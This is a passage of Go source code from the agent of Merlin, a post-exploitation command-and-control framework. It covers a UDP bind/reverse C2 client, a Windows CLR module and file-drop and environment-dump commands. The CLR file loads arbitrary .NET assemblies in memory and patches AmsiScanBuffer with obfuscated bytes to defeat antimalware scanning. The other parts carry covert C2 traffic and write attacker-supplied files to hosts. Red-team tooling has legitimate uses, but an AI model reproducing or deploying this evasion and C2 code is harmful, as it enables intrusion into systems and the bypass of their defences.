if err != nil {
return
}
}
// If the Agent is authenticated, exit the loop and return the function
if authenticated {
client.authComplete <- true
return
}
}
}
// Connect establish a connection with the remote host depending on the Client's type (e.g., BIND or REVERSE)
func (client *Client) Connect() (err error) {
cli.Message(cli.DEBUG, "Entering clients/udp.Connect() function")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/upd.Connect(): exiting function with error: %+v", err))
client.Lock()
defer client.Unlock()
// Ensure the connected channel is empty. If the Agent's sleep is less than 0, the channel might be full from a prior reconnect
if len(client.connected) > 0 {
<-client.connected
}
switch client.mode {
case BIND:
// Will hit this if connection was lost during initialization steps because a Listener will already exist
if client.listener == nil {
client.listener, err = net.ListenPacket("udp", client.address)
if err != nil {
err = fmt.Errorf("clients/udp.Connect(): there was an error listening on %s: %s", client.address, err)
return
}
cli.Message(cli.NOTE, fmt.Sprintf("Started %s listener on %s", client, client.address))
}
var n int
buffer := make([]byte, 4096)
cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming connection at %s...", time.Now().UTC().Format(time.RFC3339)))
// First connection is junk data to establish a connection but otherwise has no value or meaning and can be discarded
n, client.client, err = client.listener.ReadFrom(buffer)
cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from UDP connection %s at %s", n, client.client, time.Now().UTC().Format(time.RFC3339)))
if err != nil {
err = fmt.Errorf("clients/udp.Connect(): there was an error reading data from %s : %s", client.client, err)
return
}
client.connected <- true
// When an Agent previously authenticated, has a sleep less than 0, and has been unlinked, it will send an IDLE message to the server when a new link is established
if client.authenticated {
cli.Message(cli.NOTE, fmt.Sprintf("Sending gratuitious StatusCheckIn at %s...", time.Now().UTC().Format(time.RFC3339)))
_, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN})
if err != nil {
err = fmt.Errorf("clients/udp.Listen(): %s", err)
return
}
}
return
case REVERSE:
client.connection, err = net.Dial("udp", client.address)
if err != nil {
err = fmt.Errorf("clients/udp.Connect(): there was an error connecting to %s: %s", client.address, err)
return
}
client.client = client.connection.RemoteAddr()
cli.Message(cli.SUCCESS, fmt.Sprintf("Successfully connected to %s from %s at %s", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))
client.connected <- true
return
default:
return fmt.Errorf("clients/udp.Connect(): unhandled UDP client mode: %d", client.mode)
}
}
// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms
// on it to encode and encrypt it.
func (client *Client) Construct(msg messages.Base) (data []byte, err error) {
for i := len(client.transformers); i > 0; i-- {
if i == len(client.transformers) {
// First call should always take a Base message
data, err = client.transformers[i-1].Construct(msg, client.secret)
} else {
data, err = client.transformers[i-1].Construct(data, client.secret)
}
if err != nil {
return nil, fmt.Errorf("clients/udp.Construct(): there was an error calling the transformer construct function: %s", err)
}
}
return
}
// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until
// a messages.Base structure is returned. The key is used for decryption transforms
func (client *Client) Deconstruct(data []byte) (messages.Base, error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Deconstruct(): entering into function with message: %+v", data))
//fmt.Printf("Deconstructing %d bytes with key: %x\n", len(data), client.secret)
for _, transform := range client.transformers {
//fmt.Printf("Transformer %T: %+v\n", transform, transform)
ret, err := transform.Deconstruct(data, client.secret)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("clients/udp.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK"))
// Try to see if the PSK works
k := sha256.Sum256([]byte(client.psk))
ret, err = transform.Deconstruct(data, k[:])
if err != nil {
return messages.Base{}, err
}
// If the PSK worked, assume the agent is unauthenticated to the server
client.authenticated = false
client.secret = k[:]
}
switch ret.(type) {
case []uint8:
data = ret.([]byte)
case string:
data = []byte(ret.(string)) // Probably not what I should be doing
case messages.Base:
//fmt.Printf("pkg/listeners.Deconstruct(): returning Base message: %+v\n", ret.(messages.Base))
return ret.(messages.Base), nil
default:
return messages.Base{}, fmt.Errorf("clients/udp.Deconstruct(): unhandled data type for Deconstruct(): %T", ret)
}
}
return messages.Base{}, fmt.Errorf("clients/udp.Deconstruct(): unable to transform data into messages.Base structure")
}
// Listen is composed of an infinite loop that waits up to 5 minutes per loop to receive a UDP connection from a peer
func (client *Client) Listen() (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, "clients/udp.Listen(): entering into function")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): leaving function with messages: %+v and error: %+v", returnMessages, err))
// Repair broken connections
if client.mode == REVERSE && client.connection == nil {
// If the connection is empty and this is a REVERSE agent, wait here until the connection is established
cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before listening for messages at %s", time.Now().UTC().Format(time.RFC3339)))
<-client.connected
cli.Message(cli.SUCCESS, fmt.Sprintf("Client connection re-esablished at %s", time.Now().UTC().Format(time.RFC3339)))
} else if client.mode == BIND && client.listener == nil {
// If the connection is empty and this is a BIND agent, wait for connection from Parent Agent
cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339)))
err = client.Connect()
if err != nil {
err = fmt.Errorf("clients/udp.Listen(): %s", err)
return
}
}
if client.mode == BIND {
cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming messages from %v on %v at %s...", client.client, client.address, time.Now().UTC().Format(time.RFC3339)))
} else {
cli.Message(cli.NOTE, fmt.Sprintf("Listening for incoming messages from %s on %s at %s...", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))
}
readTimeout := time.Minute * 5
var n int
var tag uint32
var length uint64
var buff bytes.Buffer
for {
respData := make([]byte, MaxSize)
switch client.mode {
case BIND:
n, client.client, err = client.listener.ReadFrom(respData)
case REVERSE:
err = client.connection.SetReadDeadline(time.Now().Add(readTimeout))
if err != nil {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): there was an error setting the connection read deadline to 5 minutes: %s", err))
}
n, err = client.connection.Read(respData)
}
// Add the bytes to the buffer
n, err = buff.Write(respData[:n])
if err != nil {
err = fmt.Errorf("clients/udp.Listen(): there was an error writing %d incoming bytes to the local buffer: %s", n, err)
client.connection = nil
return
}
// If this is the first read on the connection determine the tag and data length
if tag == 0 {
// Ensure we have enough data to read the tag/type which is 4-bytes
if buff.Len() < 4 {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d", buff.Len()))
continue
}
tag = binary.BigEndian.Uint32(respData[:4])
if tag != 1 {
err = fmt.Errorf("clients/udp.Listen(): Expected a type/tag value of 1 for TLV but got %d", tag)
client.connection = nil
return
}
}
if length == 0 {
// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size
if buff.Len() < 12 {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d", buff.Len()))
continue
}
length = binary.BigEndian.Uint64(respData[4:12])
}
// If we've read all the data according to the length provided in TLV, then break the for loop
// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV
if uint64(buff.Len()) == length+4+8 {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data", length))
break
} else {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Listen(): Read %d of %d bytes into the buffer", buff.Len(), length))
}
}
cli.Message(cli.NOTE, fmt.Sprintf("Read %d bytes from UDP connection %s at %s", buff.Len(), client.client, time.Now().UTC().Format(time.RFC3339)))
if err != nil {
switch err2 := err.(type) {
case net.Error:
if err2.Timeout() {
err = fmt.Errorf("clients/udp.Listen(): The UDP connection read time of %s was reached: %s", readTimeout, err)
return
}
default:
err = fmt.Errorf("clients/udp.Listen(): there was an error reading the message from the connection with %s: %s", client.client, err)
}
return
}
var msg messages.Base
// Type/Tag size is 4-bytes, Length size is 8-bytes for a total of 12-bytes for TLV
msg, err = client.Deconstruct(buff.Bytes()[12:])
if err != nil {
err = fmt.Errorf("clients/udp.Listen(): there was an error deconstructing the data: %s", err)
cli.Message(cli.DEBUG, err.Error())
// See if the data was from initial link command from another agent
b64Data := make([]byte, base64.StdEncoding.EncodedLen(n))
_, errBase64 := base64.StdEncoding.Decode(b64Data, buff.Bytes()[12:])
if errBase64 == nil {
cli.Message(cli.INFO, fmt.Sprintf("Received Base64 encoded string from %s. Treating as a new connection...", client.client))
// Send gratuitous checkin to provide parent Agent with linked agent data
if client.authenticated {
_, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN})
}
return
}
return
}
returnMessages = append(returnMessages, msg)
return
}
// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream
// The function also decodes and decrypts response messages and return a Merlin message structure.
// This is where the client's logic is for communicating with the server.
func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): entering into function with message: %+v", m))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): exiting function with error: %v and return messages: %+v", err, returnMessages))
// Recover connection
if client.mode == REVERSE && client.connection == nil {
// If the connection is empty and this is a REVERSE agent, attempt to connect to the listener
cli.Message(cli.NOTE, fmt.Sprintf("Client connection was empty. Re-establishing connection at %s...", time.Now().UTC().Format(time.RFC3339)))
err = client.Connect()
if err != nil {
err = fmt.Errorf("clients/udp.Send(): %s", err)
return
}
} else if client.mode == BIND && client.client == nil {
// If the connection is empty and this is a BIND agent, wait here for listener to receive a connection
cli.Message(cli.INFO, fmt.Sprintf("Waiting for a client connection before sending message at %s", time.Now().UTC().Format(time.RFC3339)))
<-client.connected
}
if !client.authenticated && m.Type != messages.OPAQUE {
cli.Message(cli.INFO, fmt.Sprintf("Waiting for authentication to complete before sending message at %s", time.Now().UTC().Format(time.RFC3339)))
<-client.authComplete
cli.Message(cli.INFO, fmt.Sprintf("Authentication completed, continuing with sending held message at %s", time.Now().UTC().Format(time.RFC3339)))
}
cli.Message(cli.NOTE, fmt.Sprintf("Sending %s message to %s at %s", m.Type, client.client, time.Now().UTC().Format(time.RFC3339)))
// Set the message padding
if client.paddingMax > 0 {
// #nosec G404 -- Random number does not impact security
m.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.paddingMax))
}
data, err := client.Construct(m)
if err != nil {
err = fmt.Errorf("clients/udp.Send(): there was an error constructing the data: %s", err)
return
}
delegate := messages.Delegate{
Listener: client.listenerID,
Agent: client.agentID,
Payload: data,
}
// Convert messages.Base to gob
// Still need this for agent to agent message encoding
delegateBytes := new(bytes.Buffer)
err = gob.NewEncoder(delegateBytes).Encode(delegate)
if err != nil {
err = fmt.Errorf("clients/udp.Send(): there was an error encoding the %s message to a gob:\r\n%s", m.Type, err)
return
}
// Add in Tag/Type and Length for TLV
tag := make([]byte, 4)
binary.BigEndian.PutUint32(tag, 1)
length := make([]byte, 8)
binary.BigEndian.PutUint64(length, uint64(delegateBytes.Len()))
// Create TLV
outData := append(tag, length...)
outData = append(outData, delegateBytes.Bytes()...)
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): Added Tag: %d and Length: %d to data size of %d", tag, uint64(delegateBytes.Len()), len(outData)))
// Determine number of fragments based on MaxSize
fragments := int(math.Ceil(float64(len(outData)) / float64(MaxSize)))
// Write the message
cli.Message(cli.NOTE, fmt.Sprintf("Writing message size %d bytes equaling %d fragments to %s at %s", len(outData), fragments, client.client, time.Now().UTC().Format(time.RFC3339)))
var n int
var i int
size := len(outData)
for i < fragments {
start := i * MaxSize
var stop int
// if bytes remaining are less than max size, read until the end
if size < MaxSize {
stop = len(outData)
} else {
stop = (i + 1) * MaxSize
}
switch client.mode {
case BIND:
//fmt.Printf("[*-%d]%d:%d\n", i, start, stop)
n, err = client.listener.WriteTo(outData[start:stop], client.client)
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): Wrote %d bytes from %s to connection %s at %s", n, client.listener.LocalAddr(), client.client, time.Now().UTC().Format(time.RFC3339)))
case REVERSE:
n, err = client.connection.Write(outData[start:stop])
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Send(): Wrote %d bytes from %s to connection %s at %s", n, client.connection.RemoteAddr(), client.client, time.Now().UTC().Format(time.RFC3339)))
}
i++
size = size - MaxSize
// UDP packets seemed to get dropped if too many are sent too fast
if fragments > 100 {
time.Sleep(time.Millisecond * 10)
}
}
if err != nil {
err = fmt.Errorf("clients/udp.Send(): there was an error writing the message to the connection with %s: %s", client.client, err)
return
}
if client.mode == BIND {
cli.Message(cli.NOTE, fmt.Sprintf("Wrote %d bytes to connection %s from %s at %s", len(outData), client.client, client.address, time.Now().UTC().Format(time.RFC3339)))
} else {
cli.Message(cli.NOTE, fmt.Sprintf("Wrote %d bytes to connection %v from %v at %s", len(outData), client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))
}
return
}
// SendAndWait takes in a Merlin message, encodes/encrypts it, and writes it to the output stream and then waits for response
// messages and returns them
func (client *Client) SendAndWait(m messages.Base) (returnMessages []messages.Base, err error) {
cli.Message(cli.DEBUG, "Entering into clients/udp.SendAndWait()...")
// Send
returnMessages, err = client.Send(m)
if err != nil {
err = fmt.Errorf("clients/udp.SendAndWait(): %s", err)
return
}
// Listen
return client.Listen()
}
// Get is a generic function that is used to retrieve the value of a Client's field
func (client *Client) Get(key string) (value string) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Get(): entering into function with key: %s", key))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Get(): leaving function with value: %s", value))
switch strings.ToLower(key) {
case "ja3":
return ""
case "paddingmax":
value = strconv.Itoa(client.paddingMax)
case "protocol":
value = client.String()
default:
value = fmt.Sprintf("unknown client configuration setting: %s", key)
}
return
}
// ResetListener closes the listener for BIND Agents and sets it and the client to nil to facilitate a new client connection
func (client *Client) ResetListener() (err error) {
cli.Message(cli.DEBUG, "clients/udp.ResetListener(): entering into function...")
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.ResetListener(): leaving function with error: %v", err))
if client.listener != nil {
cli.Message(cli.NOTE, fmt.Sprintf("UDP listener reset at %s", time.Now().UTC().Format(time.RFC3339)))
err = client.listener.Close()
if err != nil {
return fmt.Errorf("clients/udp.ResetListener(): there was an error closing the listener: %s", err)
}
client.Lock()
client.listener = nil
client.client = nil
client.Unlock()
if len(client.connected) > 0 {
<-client.connected
}
}
return
}
// Set is a generic function that is used to modify a Client's field values
func (client *Client) Set(key string, value string) (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Set(): entering into function with key: %s, value: %s", key, value))
defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Set(): exiting function with err: %v", err))
client.Lock()
defer client.Unlock()
switch strings.ToLower(key) {
case "addr":
// Validate address
_, err = net.ResolveUDPAddr("udp", value)
if err != nil {
err = fmt.Errorf("clients/udp.Set(): there was an error parsing the provide address %s : %s", value, err)
return
}
client.address = value
if client.mode == BIND {
err = client.ResetListener()
} else {
client.connection = nil
client.listener = nil
}
case "bind":
err = client.ResetListener()
case "listener":
var id uuid.UUID
id, err = uuid.Parse(value)
if err != nil {
return fmt.Errorf("clients/udp.Set(): %s", err)
}
client.listenerID = id
case "paddingmax":
client.paddingMax, err = strconv.Atoi(value)
case "secret":
client.secret = []byte(value)
default:
err = fmt.Errorf("unknown udp client setting: %s", key)
}
return err
}
// String returns the type of UDP client
func (client *Client) String() string {
switch client.mode {
case BIND:
return "udp-bind"
case REVERSE:
return "udp-reverse"
default:
return "udp-unhandled"
}
}
func (client *Client) Synchronous() bool {
switch client.mode {
case BIND:
return true
case REVERSE:
return true
default:
return false
}
}
================================================
FILE: clients/udp/udp_exclude.go
================================================
//go:build !udp && (http || http1 || http2 || http3 || mythic || winhttp || smb || tcp)
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package udp contains a configurable client used for UDP-based peer-to-peer Agent communications
package udp
import (
// Standard
"fmt"
// 3rd Party
"github.com/google/uuid"
// Internal
messages "github.com/Ne0nd0g/merlin-message"
)
// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server
type Client struct {
}
// Config is a structure used to pass in all necessary information to instantiate a new Client
type Config struct {
Address []string // Address the interface and port the agent will bind to
AgentID uuid.UUID // AgentID the Agent's UUID
AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server
ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with
Padding string // Padding the max amount of data that will be randomly selected and appended to every message
PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication
Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message
Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE)
}
// New instantiates and returns a Client that is constructed from the passed in Config
func New(Config) (*Client, error) {
return nil, fmt.Errorf("clients/udp.New(): UDP client not compiled into this program")
}
// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol
// The function must take in a Base message for when the C2 server requests re-authentication through a message
func (client *Client) Authenticate(messages.Base) (err error) {
return fmt.Errorf("clients/udp.Authenticate(): UDP client not compiled into this program")
}
// Get is a generic function used to retrieve the value of a Client's field
func (client *Client) Get(string) string {
return fmt.Sprintf("clients/udp.Get(): UDP client not compiled into this program")
}
// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent
func (client *Client) Initial() error {
return fmt.Errorf("clients/udp.Initial(): UDP client not compiled into this program")
}
// Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them
func (client *Client) Listen() (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/udp.LIsten(): UDP client not compiled into this program")
return
}
// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.
// This function DOES not wait or listen for response messages.
func (client *Client) Send(messages.Base) (returnMessages []messages.Base, err error) {
err = fmt.Errorf("clients/udp.Send(): UDP client not compiled into this program")
return
}
// Set is a generic function that is used to modify a Client's field values
func (client *Client) Set(key string, value string) error {
return fmt.Errorf("clients/udp.Set(): UDP client not compiled into this program")
}
// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages
// can be sent/received.
func (client *Client) Synchronous() bool {
return false
}
================================================
FILE: commands/clr.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// CLR is the entrypoint for Jobs that are processed to determine which CLR function should be executed
func CLR(cmd jobs.Command) jobs.Results {
cli.Message(cli.DEBUG, fmt.Sprintf("entering CLR() with %+v", cmd))
return jobs.Results{
Stderr: "the CLR module is not supported by this agent type",
}
}
================================================
FILE: commands/clr_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"encoding/base64"
"fmt"
"strings"
// 3rd Party
clr "github.com/Ne0nd0g/go-clr"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/core"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/evasion"
)
// runtimeHost is the main object used to interact with the CLR to load and invoke assemblies
var runtimeHost *clr.ICORRuntimeHost
// assemblies is a list of the loaded assemblies that can be invoked
var assemblies = make(map[string]assembly)
// redirected tracks if STDOUT/STDERR have been redirected for the CLR so that they can be captured
// and send back to the server
var redirected bool
var patched bool
// assembly is a structure to represent a loaded assembly that can subsequently be invoked
type assembly struct {
name string
version string
methodInfo *clr.MethodInfo
}
// CLR is the entrypoint for Jobs that are processed to determine which CLR function should be executed
func CLR(cmd jobs.Command) jobs.Results {
clr.Debug = core.Debug
if len(cmd.Args) > 0 {
cli.Message(cli.SUCCESS, fmt.Sprintf("CLR module command: %s", cmd.Args[0]))
switch strings.ToLower(cmd.Args[0]) {
case "start":
return startCLR(cmd.Args[1])
case "list-assemblies":
return listAssemblies()
case "load-assembly":
return loadAssembly(cmd.Args[1:])
case "load-clr":
return startCLR(cmd.Args[1])
case "invoke-assembly":
return invokeAssembly(cmd.Args[1:])
default:
j := jobs.Results{
Stderr: fmt.Sprintf("unrecognized CLR command: %s", cmd.Args[0]),
}
return j
}
}
j := jobs.Results{
Stderr: "no arguments were provided to the CLR module",
}
return j
}
// startCLR loads the CLR runtime version number from Args[0] into the current process
func startCLR(runtime string) (results jobs.Results) {
cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for startCLR function: %s", runtime))
var err error
// Redirect STDOUT/STDERR so it can be captured
if !redirected {
err = clr.RedirectStdoutStderr()
if err != nil {
results.Stderr = fmt.Sprintf("there was an error redirecting STDOUT/STDERR:\n%s", err)
cli.Message(cli.WARN, results.Stderr)
return
}
}
// Load the CLR and an ICORRuntimeHost instance
if runtime == "" {
runtime = "v4"
}
runtimeHost, err = clr.LoadCLR(runtime)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error calling the startCLR function:\n%s", err)
cli.Message(cli.WARN, results.Stderr)
return
}
results.Stdout = fmt.Sprintf("\nThe %s .NET CLR runtime was successfully loaded", runtime)
// Patch AMSI ScanBuffer
if !patched {
patch := []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
out, err := evasion.Patch("amsi.dll", "AmsiScanBuffer", &patch)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error patching the amsi!ScanBuffer function: %s", err)
} else {
results.Stdout += fmt.Sprintf("\n%s", out)
patched = true
}
}
cli.Message(cli.SUCCESS, results.Stdout)
return
}
// loadAssembly loads an assembly into the runtimeHost's default AppDomain
func loadAssembly(args []string) (results jobs.Results) {
cli.Message(cli.DEBUG, "Entering into clr.loadAssembly()...")
//cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for loadAssembly function: %+v", args))
if len(args) > 1 {
var a assembly
a.name = strings.ToLower(args[1])
for _, v := range assemblies {
if v.name == a.name {
results.Stderr = fmt.Sprintf("the '%s' assembly is already loaded", a.name)
cli.Message(cli.WARN, results.Stderr)
return
}
}
// Load the v4 runtime if there are not any runtimes currently loaded
if runtimeHost == nil {
results = startCLR("")
if results.Stderr != "" {
return
}
}
// Base64 decode Arg[1], the assembly bytes
assembly, err := base64.StdEncoding.DecodeString(args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error decoding the Base64 string: %s", err)
cli.Message(cli.WARN, results.Stderr)
return
}
// Load the assembly
a.methodInfo, err = clr.LoadAssembly(runtimeHost, assembly)
if err != nil {
// HRESULT: 0x8007000b COR_E_BADIMAGEFORMAT
// https://referencesource.microsoft.com/#mscorlib/system/__hresults.cs,7041cd5c9aa1948b,references
results.Stderr = fmt.Sprintf("there was an error calling the loadAssembly function:\n%s", err)
cli.Message(cli.WARN, results.Stderr)
return
}
assemblies[a.name] = a
results.Stdout += fmt.Sprintf("\nSuccessfully loaded %s into the default AppDomain", a.name)
cli.Message(cli.SUCCESS, results.Stdout)
return
}
results.Stderr = fmt.Sprintf("expected 2 arguments for the load-assembly command, received %d", len(args))
cli.Message(cli.WARN, results.Stderr)
return
}
// invokeAssembly executes a previously loaded assembly
func invokeAssembly(args []string) (results jobs.Results) {
cli.Message(cli.DEBUG, "Entering into clr.invokeAssembly()...")
cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for invokeAssembly function: %+v", args))
cli.Message(cli.NOTE, fmt.Sprintf("Invoking .NET assembly: %s", args))
if len(args) > 0 {
var isLoaded bool
var a assembly
for _, v := range assemblies {
if v.name == strings.ToLower(args[0]) {
isLoaded = true
a = v
}
}
if isLoaded {
// Setup OS environment, if any
err := Setup()
if err != nil {
results.Stderr = err.Error()
return
}
defer TearDown()
core.Mutex.Lock()
results.Stdout, results.Stderr = clr.InvokeAssembly(a.methodInfo, args[1:])
core.Mutex.Unlock()
cli.Message(cli.DEBUG, "Leaving clr.invokeAssembly() function without error")
return
}
results.Stderr = fmt.Sprintf("the '%s' assembly is not loaded", args[0])
cli.Message(cli.WARN, results.Stderr)
return
}
results.Stderr = fmt.Sprintf("expected at least 1 arguments for the invokeAssembly function, received %d", len(args))
cli.Message(cli.WARN, results.Stderr)
return
}
// listAssemblies enumerates the loaded .NET assemblies and returns them
func listAssemblies() (results jobs.Results) {
results.Stdout = "Loaded Assemblies:\n"
for _, v := range assemblies {
results.Stdout += fmt.Sprintf("%s\n", v.name)
}
cli.Message(cli.SUCCESS, results.Stdout)
return
}
================================================
FILE: commands/download.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"encoding/base64"
"fmt"
"os"
"path/filepath"
// Merlin Main
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// Download receives a job from the server to download a file to host where the Agent is running
func Download(transfer jobs.FileTransfer) (result jobs.Results) {
cli.Message(cli.DEBUG, "Entering into commands.Download() function")
// Agent will be downloading a file from the server
cli.Message(cli.NOTE, "FileTransfer type: Download")
// Setup OS environment, if any
err := Setup()
if err != nil {
result.Stderr = err.Error()
return
}
// Defer TearDown and return any errors
defer func() {
err = TearDown()
if err != nil {
result.Stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'cd' command: %s", err)
}
}()
_, directoryPathErr := os.Stat(filepath.Dir(transfer.FileLocation))
if directoryPathErr != nil {
result.Stderr = fmt.Sprintf("There was an error getting the FileInfo structure for the remote "+
"directory %s:\r\n", transfer.FileLocation)
result.Stderr += directoryPathErr.Error()
}
if result.Stderr == "" {
cli.Message(cli.NOTE, fmt.Sprintf("Writing file to %s", transfer.FileLocation))
downloadFile, downloadFileErr := base64.StdEncoding.DecodeString(transfer.FileBlob)
if downloadFileErr != nil {
result.Stderr = downloadFileErr.Error()
} else {
errF := os.WriteFile(transfer.FileLocation, downloadFile, 0600)
if errF != nil {
result.Stderr = errF.Error()
} else {
result.Stdout = fmt.Sprintf("Successfully uploaded file to %s", transfer.FileLocation)
}
}
}
return result
}
================================================
FILE: commands/env.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
"os"
"strings"
// Merlin
"github.com/Ne0nd0g/merlin-agent/v2/cli"
)
// env is used to view or modify a host's environment variables
func env(Args []string) (resp string, stderr string) {
cli.Message(cli.DEBUG, fmt.Sprintf("entering ENV() with args: %+v...", Args))
if len(Args) > 0 {
switch strings.ToLower(Args[0]) {
case "get":
if len(Args) < 2 {
stderr = fmt.Sprintf("not enough arguments for the env get command: %+v", Args)
return
}
resp = fmt.Sprintf("\nEnvironment variable %s=%s", Args[1], os.Getenv(Args[1]))
case "set":
if len(Args) < 3 {
stderr = fmt.Sprintf("not enough arguments for the env set command: %+v", Args)
return
}
err := os.Setenv(Args[1], Args[2])
if err != nil {
stderr = fmt.Sprintf("there was an error setting the %s environment variable:\n%s", Args[1], err)
return
}
resp = fmt.Sprintf("\nSet environment variable: %s=%s", Args[1], Args[2])
case "showall":
resp += "\nEnvironment variables:\n"
for _, element := range os.Environ() {
resp += fmt.Sprintf("%s\n", element)
}
case "unset":
if len(Args) < 2 {
stderr = fmt.Sprintf("not enough arguments for the env unset command: %+v", Args)
return
}
err := os.Unsetenv(Args[1])
if err != nil {
